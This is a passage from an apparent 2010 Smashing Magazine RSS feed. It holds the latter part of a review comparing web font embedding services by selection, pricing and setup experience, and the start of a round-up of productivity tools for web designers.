you&#8217;re using have a web-friendly license. From this point you have to enable the format you&#8217;d like to use for the font (included are EOT, OpenType, SVG, TrueType, and WOFF &mdash; at least for the font I used). Once one of those formats is enabled, you have to add domains.</p><p>After you&#8217;ve enabled your formats and set up the domains you want to use, you have to copy the <code>@font-face</code> code into your CSS files and add the font to your font stacks. The big advantage TypeFront has over the other services listed here is that there is no noticeable delay before the correct font is displayed.</p><h3>Fontspring</h3><p><a href="http://www.fontspring.com/">Fontspring</a> offers downloadable fonts for self-hosting. Unlike a hosted service, Fontspring provides downloadable font files and sample code to host web fonts on your own.</p><p><a href="http://www.fontspring.com"><img class="alignnone size-full wp-image-63075" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-16.jpg" alt="Fonts-16 in Review of Popular Web Font Embedding Services" width="500" height="334" /></a></p><p><strong>Font Selection</strong><br /> 1,937 families</p><p><strong>Advantage Over Other Services</strong><br /> No recurring subscription fee</p><p><strong>Pros</strong><br /> Large font selection. No recurring fees or bandwidth restrictions. Desktop license included.</p><p><strong>Cons</strong><br /> Font quality varies. Self-hosting only, which requires additional setup and technical skills.</p><p><strong>Pricing</strong><br /> Free or up to several hundred dollars depending on the font family</p><p><strong>Fee Schedule</strong><br /> One-time fee</p><h4>Our Experience with Fontspring</h4><p>Because these are self-hosted files, it&#8217;s a bit harder to get everything set up properly than it is with the other services here. When you purchase and download a font that includes an <code>@font-face</code> license, the download package includes all the files you&#8217;ll need for web implementation, including the various font file formats like EOT and WOFF.</p><p>I found it easier to just copy and paste the stylesheet information included into the existing site&#8217;s stylesheet. Once that&#8217;s done, you need to make sure your fonts are loaded into the same folder as your stylesheet (or change the URL information in the CSS). Add the font to your font stack and you&#8217;re ready to go.</p><p>The speed at which the fonts loaded was roughly the same as for most of the other services here. The advantage to using this service is that you own a permanent license to the fonts, without any recurring annual fees and with no restrictions on bandwidth or traffic.</p><h3>Fonts.com Web Fonts</h3><p>Web fonts from <a href="http://webfonts.fonts.com/">Fonts.com</a> is a new venture from <a href="http://www.monotypeimaging.com/">Monotype Imaging</a>, the largest font distributor on the web. Fonts.com currently has, by far, the largest web font selection with more than 7,500 fonts.</p><p><a href="http://www.webfonts.fonts.com"><img class="alignnone size-full wp-image-63076" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-17.jpg" alt="Fonts-17 in Review of Popular Web Font Embedding Services" width="500" height="344" /></a></p><p><strong>Font Selection</strong><br /> 7,500+</p><p><strong>Advantage Over Other Services</strong><br /> Large Font selection</p><p><strong>Pros</strong><br /> Currently the largest selection of fonts on the web. Exclusive home to popular fonts like Helvetica, Frutiger and Univers. Support for more than 40 languages. Use on unlimited domains. Download up to 50 desktop fonts per month with the Professional plan. JavaScript-free integration available to Standard and Professional subscribers.</p><p><strong>Cons</strong><br /> Relatively expensive on a price-per-font basis when using a limited number of web fonts. The font selection interface is slower than average.</p><p><strong>Pricing</strong><br /> Various tiers ranging from free up to $500/month. With a free tier, you have the ability to use any of 2000 fonts on an unlimited number of websites (up to 25,000 page views). Standard and Pro tiers will give you access to any of over 7,000 fonts. All pricing is dependent upon page views.</p><p><strong>Fee Schedule</strong><br /> 30 days</p><h4>Our Experience with Fonts.com Web Fonts</h4><p>The service looks pretty straightforward. You set up a project with as many domains as you want and then select the fonts you want to use for that project. Selecting fonts is a bit slow (it takes 30 seconds or more for a font to actually be added to a project), but not enough to be prohibitive. There’s a huge selection of fonts and powerful tools for sorting through them, in addition to search capability.</p><p>From there, you have to enter each CSS selector for which you would like to use a web font and select the font used for that particular selector using a drop down menu that lists the fonts you already selected for the project. One place where Fonts.com really stands out is in the options you have for publishing your new web fonts. There are two different JavaScript options &mdash; an “Easy” option and an “Advanced” one &mdash; that let you add the fonts to selectors directly in your stylesheet rather than just through the web interface, as well as two non-JS options (also “Easy” and “Advanced”).</p><p>Again, the Fonts.com site was a bit slow overall but the end result is just as fast and seamless as any other service listed here.</p><h3>Google Fonts</h3><p><strong><a href="http://code.google.com/webfonts">Google Fonts</a></strong>, announced last May, represents Google’s foray into web fonts. Google offers the service free of charge. Although the selection is currently limited to certain public domain fonts, it has the potential to have a significant impact on the future of web fonts.</p><p><a href="http://code.google.com/webfonts"><img class="alignnone size-full wp-image-63077" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-18.jpg" alt="Fonts-18 in Review of Popular Web Font Embedding Services" width="500" height="337" /></a></p><p><strong>Font Selection</strong><br /> 60 (including international fonts)</p><p><strong>Advantage Over Other Services</strong><br /> Free</p><p><strong>Pros</strong><br /> Easy to implement. Fast font loading. Google’s WebFont Loader lets you use their service with multiple web font providers.</p><p><strong>Cons</strong><br /> Small font selection in the Google font directory. <del>No support for iPhone or iPad (Mobile Safari).</del> Now with support for iPhone and iPad (Mobile Safari).</p><p><strong>Pricing</strong><br /> Free</p><p><strong>Fee Schedule</strong><br /> N/A</p><h4>Our Experience with Google Fonts</h4><p>The Google Fonts API is probably the easiest of the services listed here to get started with, mostly because there is no sign-up process. You simply browse the fonts they offer, select one, and then get the code. Link the stylesheet in your website&#8217;s head, and then add the font to the font stack in your stylesheet.</p><p>The service is very fast, with only a barely noticeable lag before loading the proper font. The fact that there are no limits on usage of the service puts it among the top contenders on this list. The only major drawback is the limited number of fonts available.</p><h3>Kernest</h3><p><strong><a href="http://www.kernest.com/">Kernest</a></strong> is a hosted or self-hosted (you can also use Fontue, Kernest’s open source web font serving engine) web font tool that converts fonts into web font ready formats and sample code.</p><p><a href="http://www.kernest.com"><img class="alignnone size-full wp-image-63078" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-19.jpg" alt="Fonts-19 in Review of Popular Web Font Embedding Services" width="500" height="310" /></a></p><p><strong>Font Selection</strong><br /> 2,450</p><p><strong>Advantage Over Other Services</strong><br /> Most fonts are free</p><p><strong>Pros</strong><br /> Open source web font serving engine. Large font selection.</p><p><strong>Cons</strong><br /> Self-hosting only, which requires additional setup and technical skills</p><p><strong>Pricing</strong><br /> Free or up to $15</p><p><strong>Fee Schedule</strong><br /> One-time fee</p><h4>Our Experience with Kernest</h4><p>Kernest has a great selection of free and paid fonts available. Free fonts could be set up without having to sign up for an account. Just find the font you want to use, make sure the permissions are acceptable for your intended use (not every font is allowed to be used on commercial sites, for example), and then copy and paste the link and CSS code into your files.</p><p>Kernest works as well as any of the others on this site, with minimal lag time before the fonts load.</p><h3>Typotheque</h3><p><a href="http://www.typotheque.com/webfonts">Typotheque</a> is a graphic design studio and type foundry located in the Netherlands. Their hosted web font service includes a relatively small selection of Typotheque fonts. Typotheque was the first foundry to start its own web font service, and all fonts are designed in-house.</p><p><a href="http://www.typotheque.com/webfonts"><img class="alignnone size-full wp-image-63079" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-20.jpg" alt="Fonts-20 in Review of Popular Web Font Embedding Services" width="500" height="318" /></a></p><p><strong>Font Selection</strong><br /> 37 font families, many supporting various styles and languages; this means there are over 500 single fonts.</p><p><strong>Advantage Over Other Services</strong><br /> Use on unlimited websites</p><p><strong>Pros</strong><br /> Option to purchase a full (web and desktop) license. Over 250 languages supported, and from those up to 5 languages can be embedded. All fonts are exclusive to and designed by Typotheque. Offers self-hosting for large websites.</p><p><strong>Cons</strong><br /> Limited font selection (although this is only true because their fonts are exclusive) and monthly bandwidth (500MB for each font within a font family).</p><p><strong>Pricing</strong><br /> 20% of the full desktop license (ex. Fedra Sans Std Book: Full @ €90, Web @ €18).  Includes 500MB monthly bandwidth.</p><p><strong>Fee Schedule</strong><br /> One-time fee (€5 for every extra GB over 500MB)</p><h4>Our Experience with Typotheque</h4><p>Setup is similar to the other services listed here. Just select the font you want to use and the domains on which it will be used, add the stylesheet link to the head of your page, add the font to your font stacks, and you&#8217;re ready to go. Lag time for the font to load is comparable to the other services. The biggest drawback is the lack of font selection, but as mentioned, this is due to the fact that their fonts are exclusive to Typotheque.</p><p>The service did return an error when generating the font subset, but it appeared to work fine, so not sure if that&#8217;s a bug or if there would actually be problems with more extensive testing.</p><h3>WebINK</h3><p><a href="http://www.extensis.com/en/WebINK/">WebINK</a> is a hosted web font platform developed by <a href="http://www.extensis.com/">Extensis</a>, a software development company based out of Portland, Oregon and specializing in font management.</p><p><a href="http://www.extensis.com/en/WebINK/index.jsp"><img class="alignnone size-full wp-image-63080" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-21.jpg" alt="Fonts-21 in Review of Popular Web Font Embedding Services" width="500" height="357" /></a></p><p><strong>Font Selection:</strong><br /> 2,000</p><p><strong>Advantage Over Other Services</strong><br /> Can be affordable for the right type of user</p><p><strong>Pros</strong><br /> Affordable pricing structure (similar to Typekit). Decent selection of fonts. Offers access both through the usual web interface, or alternatively through a desktop font management application called <a href="http://www.extensis.com/en/products/suitcasefusion3/overview.jsp">Suitcase Fusion 3</a> (Mac and Windows). This application has a live website preview mode for testing different fonts, and something called QuickMatch that finds the closest match to the chosen font on your computer.</p><p><strong>Cons</strong><br /> Confusing interface and back-end. Each plan is limited to 4 websites (Note: Each user can set up as many &#8220;Type Drawers&#8221; as they want, allowing 4 websites per Type Drawer; so really the number of websites is only limited to an individual plan within a single user account, whereas the number of Type Drawers is unlimited).</p><p><strong>Pricing</strong><br /> Free 30-day trial on all fonts. Packages start at $0.99 per month (only includes “Promotional” font selection) for 1GB usage and up to 4 websites.</p><p><strong>Fee Schedule</strong><br /> Monthly subscription</p><h4>Our Experience with WebINK</h4><p>We only tested the web interface for WebINK, not Suitcase Fusion 3. The WebINK online interface is probably more confusing than the others listed here. The service allows you to create an unlimited amount of Type Drawers to hold the fonts for your different projects. To add fonts from the library into your Type Drawers, you need to click the &#8220;add fonts&#8221; button within a specific Drawer. Going directly to the font library will not allow you to have direct access to your Drawers, so this takes some getting used to.</p><p>Once you get the fonts you want into your Type Drawer, setting them up on your website requires adding the <code>@font-face</code> information to your stylesheet and placing the fonts into your font stacks. The speed at which the font loads on the site is about the same as any other service.</p><h3>Font-Face</h3><p><a href="http://www.font-face.com/">Font-Face</a> recently scrapped its project after the recent Google Font announcement. However, according to their website, they are &#8220;hatching a new plan&#8221; so we may hear more from them yet.</p><p><a href="http://www.font-face.com"><img class="alignnone size-full wp-image-63081" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-22.jpg" alt="Fonts-22 in Review of Popular Web Font Embedding Services" width="500" height="335" /></a></p><h3>How to Choose a Service</h3><p>There is no “right” answer when it comes to choosing a web font service. Selecting the proper service usually depends on what you or your client need. You could ask yourself the following questions to help assess your needs:</p><ul><li>How important is font selection? Are there specific fonts you need?</li><li>How important is font quality to you and your clients?</li><li>Do you require a self-hosting option?</li><li>Do you or your client have a budget? What type of fee structure would be ideal?</li><li>Is iPhone and iPad (Mobile Safari) support important?</li></ul><p>Based on your answers to these questions you should be able to use the quick comparison chart below, along with the more detailed information above, to make an informed decision, or at the very least find a few starting points to start digging deeper (also be sure to check out the great chart <a href="http://fffo.grahambird.co.uk/">@font-face face off</a>).</p><p><a href="http://fffo.grahambird.co.uk/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/09/fonts-23.jpg" width="500" height="339" alt="Fonts-23 in Review of Popular Web Font Embedding Services"  /></a></p><h3>Quick Overview</h3><p>Here is a short overview of the services reviewed in this article, including the number of fonts in each, advantages over other services, price and fee schedule.</p><table border="0" cellspacing="0" cellpadding="4"><tbody><tr><td width="103"><strong>Service</strong></td><td width="96"><strong>Fonts</strong></td><td width="126"><strong>Advantage Over Other Services</strong></td><td width="162"><strong>Price</strong></td><td width="102"><strong>Fee Schedule</strong></td></tr><tr><td width="103"><a href="http://www.typekit.com/">Typekit</a></td><td width="96">4000</td><td width="126">Integrations</td><td width="162">Plans start at $24.99</td><td width="102">Annual</td></tr><tr><td width="103"><a href="http://www.webtype.com/">Webtype</a></td><td width="96">365</td><td width="126">Font quality</td><td width="162">Fonts start at $10</td><td width="102">Annual</td></tr><tr><td width="103"><a href="http://www.fontdeck.com/">Fontdeck</a></td><td width="96">600</td><td width="126">Pay-per-use</td><td width="162">Free / $2.50 and up</td><td width="102">Annual</td></tr><tr><td width="103"><a href="http://www.fontslive.com/">Fonts Live</a></td><td width="96">499</td><td width="126">Font quality</td><td width="162">Fonts start at $10</td><td width="102">Annual</td></tr><tr><td width="103"><a href="http://www.typefront.com/">TypeFront</a></td><td width="96">N/A</td><td width="126">Do-it-yourself</td><td width="162">Plans start at $5</td><td width="102">Monthly</td></tr><tr><td width="103"><a href="http://www.fontspring.com/">Fontspring</a></td><td width="96">1,937 families</td><td width="126">No recurring fee</td><td width="162">Free to $100s</td><td width="102">One-time</td></tr><tr><td width="103"><a href="http://webfonts.fonts.com/">Fonts.com</a></td><td width="96">7,500+</td><td width="126">Font selection</td><td width="162">Free or up to $500</td><td width="102">30 days</td></tr><tr><td width="103"><a href="http://code.google.com/webfonts/">Google Fonts</a></td><td width="96">60</td><td width="126">Easy to implement</td><td width="162">Free</td><td width="102">N/A</td></tr><tr><td width="103"><a href="http://www.kernest.com/">Kernest</a></td><td width="96">2,450</td><td width="126">Most fonts free</td><td width="162">Free or up to $15</td><td width="102">One-time</td></tr><tr><td width="103"><a href="http://www.typotheque.com/webfonts">Typotheque</a></td><td width="96">524</td><td width="126">Unlimited websites</td><td width="162">20% of desktop license</td><td width="102">One-time</td></tr><tr><td width="103"><a href="http://www.extensis.com/en/WebINK/">WebINK</a></td><td width="96">2,000</td><td width="126">Affordable</td><td width="162">Plans start at $0.99</td><td width="102">Monthly</td></tr></tbody></table><h3>Summary</h3><p>Web font services, like any relatively new popular technology, are complex and rapidly proliferating.  While there is no “perfect” service, it’s promising to see such a wide variety of companies entering the industry and continually raising the bar for web fonts. I hope this breakdown helps you get a better handle on what’s available. If you’ve had your own experience using a web font service, please let us know in the comments.</p><h4>Related Resources</h4><ul><li><a href="http://fffo.grahambird.co.uk/">Graham Bird&#8217;s Font Face Face Off</a></li><li><a href="http://www.noupe.com/fonts/web-typography-font-embedding-services.html">Web Typography: Font Embedding Services</a></li><li><a href="http://www.paper-leaf.com/blog/2010/06/10-tools-for-better-web-fonts/">10 Tools for Better Web Fonts</a></li><li><a href="http://sixrevisions.com/css/font-face-guide/">Font-Face Guide</a></li><li><a href="http://www.smashingmagazine.com/2009/01/27/css-typographic-tools-and-techniques/">50 Useful Design Tools For Beautiful Web Typography</a></li><li><a href="http://www.smashingmagazine.com/2010/09/13/expressive-web-typography-useful-examples-and-techniques/">Expressive Web Typography: Useful Examples and Techniques</a></li><li><a title="Why webfont services are the future of fonts on the web" rel="bookmark" href="http://opentype.info/blog/2009/07/29/why-webfont-services-are-the-future-of-fonts-on-the-web/">Why webfont services are the future of fonts on the web</a></li><li><a title="The Font-as-Service" href="http://ilovetypography.com/2009/08/07/the-font-as-service/">The Font-as-Service</a></li><li><a href="http://inteldesigner.com/2010/code/web-fonts-foundries-evolved">Web Fonts: Foundries Evolved</a></li><li><a href="http://www.alistapart.com/articles/on-web-typography/">On Web Typography</a></li><li><a href="http://www.freelancereview.net/ultimate-web-typography-resources-and-inspiration/">Ultimate Web Typography: Resources and Inspiration</a></li></ul><p><strong><em>Disclosure:</em></strong><em> This article was co-written by Andrew Follett and Cameron Chapman. Andrew has provided consulting services for Ascender Corporation. Impressions were written exclusively by Cameron. All facts were checked and updated by Louis Lazaris.</em></p><hr /><p><small>© Andrew Follett for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/&title=Review%20of%20Popular%20Web%20Font%20Embedding%20Services">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Review%20of%20Popular%20Web%20Font%20Embedding%20Services'%20http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/20/review-of-popular-web-font-embedding-services/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/embedding/" rel="tag">embedding</a>, <a href="http://www.smashingmagazine.com/tag/font-face/" rel="tag">font-face</a>, <a href="http://www.smashingmagazine.com/tag/fontdeck/" rel="tag">fontdeck</a>, <a href="http://www.smashingmagazine.com/tag/fonts/" rel="tag">Fonts</a>, <a href="http://www.smashingmagazine.com/tag/services/" rel="tag">services</a>, <a href="http://www.smashingmagazine.com/tag/typekit/" rel="tag">typekit</a>, <a href="http://www.smashingmagazine.com/tag/typography/" rel="tag">typography</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/review-of-popular-web-font-embedding-services/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>50 Powerful Time-Savers For Web Designers</title>
		<link>http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/</link>
		<comments>http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/#comments</comments>
		<pubDate>Tue, 19 Oct 2010 15:32:27 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[PDF]]></category>
		<category><![CDATA[Workflow]]></category>
		<category><![CDATA[time-savers]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[useful]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=68744</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>There are tools that make our lives much easier. However, finding those obscure time-savers which would save time in every single project isn't easy and requires a lot of time. At Smashing Magazine, we are regularly looking for such useful tools, gather them, review them and eventually prepare for a truly smashing round-up. Such posts are quite lengthy and extensive, but they are always worth checking out.</p><p><a href="http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-278.jpg" width="500" height="300" alt="House of Buttons" /></a></p> <p>In this post, you'll find an <strong>overview of useful and handy tools</strong> that can help you increase your productivity and improve your workflow. Some tools are more general, the others are more technical, yet we hope that this round-up has something to offer to every one of our readers. Please feel free to leave your comments and share with us which one of the tools you've found most useful and interesting.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in 50 Powerful Time-Savers For Web Designers" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in 50 Powerful Time-Savers For Web Designers" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in 50 Powerful Time-Savers For Web Designers"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in 50 Powerful Time-Savers For Web Designers"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in 50 Powerful Time-Savers For Web Designers"  /></a></div></td></tr></table><p>There are tools that make our lives much easier. However, finding those obscure time-savers which would save time in every single project isn&#8217;t easy and requires a lot of time. At Smashing Magazine, we are regularly looking for such useful tools, gather them, review them and eventually prepare for a truly smashing round-up. Such posts are quite lengthy and extensive, but they are always worth checking out.</p><p>In this post, you&#8217;ll find an <strong>overview of useful and handy tools</strong> that can help you increase your productivity and improve your workflow. Some tools are more general, the others are more technical, yet we hope that this round-up has something to offer to every one of our readers. Please feel free to leave your comments and share with us which one of the tools you&#8217;ve found most useful and interesting.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is <a href="http://shop.smashingmagazine.com/smashing-ebook-series-1-professional-web-design-intl.html">Professional Web Design</a>, 242 pages for just $9,90.]</p><h3>Useful Time-Savers For Web Designers</h3><p><a href="http://houseofbuttons.tumblr.com">House of Buttons</a><br />A growing collection of various buttons spotted in the wild by Jason Long. Very nice and useful collection, and submissions are welcome.</p><p class="showcase"><a href="http://houseofbuttons.tumblr.com"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-278.jpg" width="500" height="300" alt="Useful-278 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://historio.us/">Historious</a><br /> Historious makes bookmarking work the way you want it. Bookmark sites with a single click, then come back to Historious and find sites by entering a few keywords!</p><p class="showcase"><a href="http://historio.us/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-236.jpg" alt="Useful-236 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.browserui.com/">Browser UI</a><br /> The Browser UI is an action that creates a browser window around any size Photoshop document you can throw at it.  The Browser UI is easily installed and helps you get around with your Photoshop documents. A quick screencast is available on the site for a quick understanding of how Browser UI works.</p><p class="showcase"><a href="http://www.browserui.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-243.jpg" alt="Useful-243 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.performable.com/calculator/">A/B Split Testing Calculator</a><br /> A/B Test Calculator shows you a comparison of several versions of a particular web page. In order to discover which one is most effective for your audience, you have to enter &#8216;statistically significant&#8217; numbers.</p><p class="showcase"><a href="http://www.performable.com/calculator/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-121.jpg" alt="Useful-121 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://teuxdeux.com/">What deux yeux have teux deux teuxday?</a><br /> TeuxDeux is a simple, design to-do app that can be used for your iPhone. If you like making to-do lists, you will love TeuxDeux. This free browser-based app can be used everywhere; this way you have your to-dos ready to hand all the time. Check out the various TeuxDeux features included in this iPhone App shown in the left column.</p><p class="showcase"><a href="http://teuxdeux.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-231.jpg" alt="Useful-231 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.fillerati.com/">Fillerati &#8211; Faux Latin is a Dead Language</a><br /> &#8216;Fillerati&#8217; instead of &#8216;Lorem ipsum&#8217;&#8230; something different for a change. Modern browsers such as Chrome, Firefox, Safari or Opera are recommended.</p><p class="showcase"><a href="http://www.fillerati.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-252.jpg" alt="Useful-252 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://robertnyman.com/inline-code-finder/">Inline Code Finder</a><br />Inline Code Finder is a tool to traverse through all elements in a web page, and when it finds a HTML element with any of these, it will highlight them. It finds inline JavaScript events, inline CSS coding and <code>javascript:</code>-links.</p><p class="showcase"><a href="http://robertnyman.com/inline-code-finder/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-283.jpg" width="500" height="300" alt="Useful-283 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://markup.io/">Share your ideas &#8211; Mark (them) Up</a>!<br /> MarkUp works in any browser without the need of being downloaded nor installed. Simply add the MarkUp icon to your bookmarks bar and share your ideas and thoughts swiftly!</p><p class="showcase"><a href="http://markup.io/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-229.jpg" alt="Useful-229 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://placehold.it/">Placehold.it</a><br /> Format, Text, Color and Size &#8211; Quick and simple image placeholders. You may want to check <a href="http://dummyimage.com/">Dynamic Dummy Image Generator</a>, too.</p><p class="showcase"><a href="http://placehold.it/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-253.jpg" alt="Useful-253 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://resizemybrowser.com/">ResizeMyBrowser</a><br /> This site helps you adjust your browser automatically, starting with a simple iPhone-sized browser (320&#215;480) to a MacBook Pro (1440&#215;900).<br /> Note: This web application requires JavaScript. Please check your browser&#8217;s settings and make sure JavaScript is enabled.</p><p class="showcase"><a href="http://resizemybrowser.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-132.jpg" alt="Useful-132 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://xrefresh.binaryage.com/">XRefresh for web developers</a><br /> A browser plug-in which refreshes the current web page due to  file change in selected folders and communicates with browser extension using TCP/IP. This makes it possible to do live page  editing with your favorite HTML/CSS editor, especially when working with two monitors at the same time.</p><p class="showcase"><a href="http://xrefresh.binaryage.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-168.jpg" alt="Useful-168 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://kodingen.com/">Kodingen</a><br /> The so-called &#8216;Cloud Development Environment&#8217; which lets you connect to your own FTPs. Web-based access to file-system &amp; svn integration. Also includes an Online Code Editor and Cloud Hosting.</p><p class="showcase"><a href="http://kodingen.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-246.jpg" alt="Useful-246 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.liberkey.com/en/">LiberKey</a><br /> LiberKey is a large collection of portable applications that can be run without installation on your local PC nor from any portable media. You may want to check <a href="http://portableapps.com/">Portable Apps</a> as well.</p><p class="showcase"><a href="http://www.liberkey.com/en/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-277.jpg" alt="Useful-277 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.notesforlater.com">Notes for Later</a><br /> This bookmarklet is a web service for remembering websites.  It creates a unique bookmarklet<a href="http://en.wikipedia.org/wiki/Bookmarklet" ></a> for your personal browser in which you can simply receive the content you need via email. If you select nothing, you still get the current page’s URL and a time stamp. Registration is quick and painless. No login is required &#8211; just an email address.</p><p class="showcase"><a href="http://www.notesforlater.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-237.jpg" alt="Useful-237 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.timy.be/">Timy</a><br /> An easy-to-use desktop application to fill out your Basecamp timesheet and save a lot of time completeing your own personal timesheet.</p><p class="showcase"><a href="http://www.timy.be/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-181.jpg" alt="Useful-181 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://ringce.com/slammer">Slammer &#8211; Designer&#8217;s Geometry Box</a><br /> Overlays any grid you want, anywhere you want. A variety of themes and overlays are presented: Typographic Grids, Golden Sections, Fibonacci series, Rule of Thirds and more! Slammer also includes Rulers, Crosshair, Magnifier, Measurements and Screenshots; watching the movie on the Slammer main page will help you learn more. However, Snow Leopard is required.</p><p class="showcase"><a href="http://ringce.com/slammer"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-196.jpg" alt="Useful-196 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://urli.st/">URList</a><br /> By dragging the bookmarklet to your browser&#8217;s bookmark bar, you will instantly save time in browsing the web and have a preview of the collected links that have been grouped previously. By clicking on the bookmarklet, you can always add a link. URlist not only enables you to create and save link lists easily, but also lets you access those links from anywhere. And creating lists is dead easy. Try it!</p><p class="showcase"><a href="http://urli.st/"><img 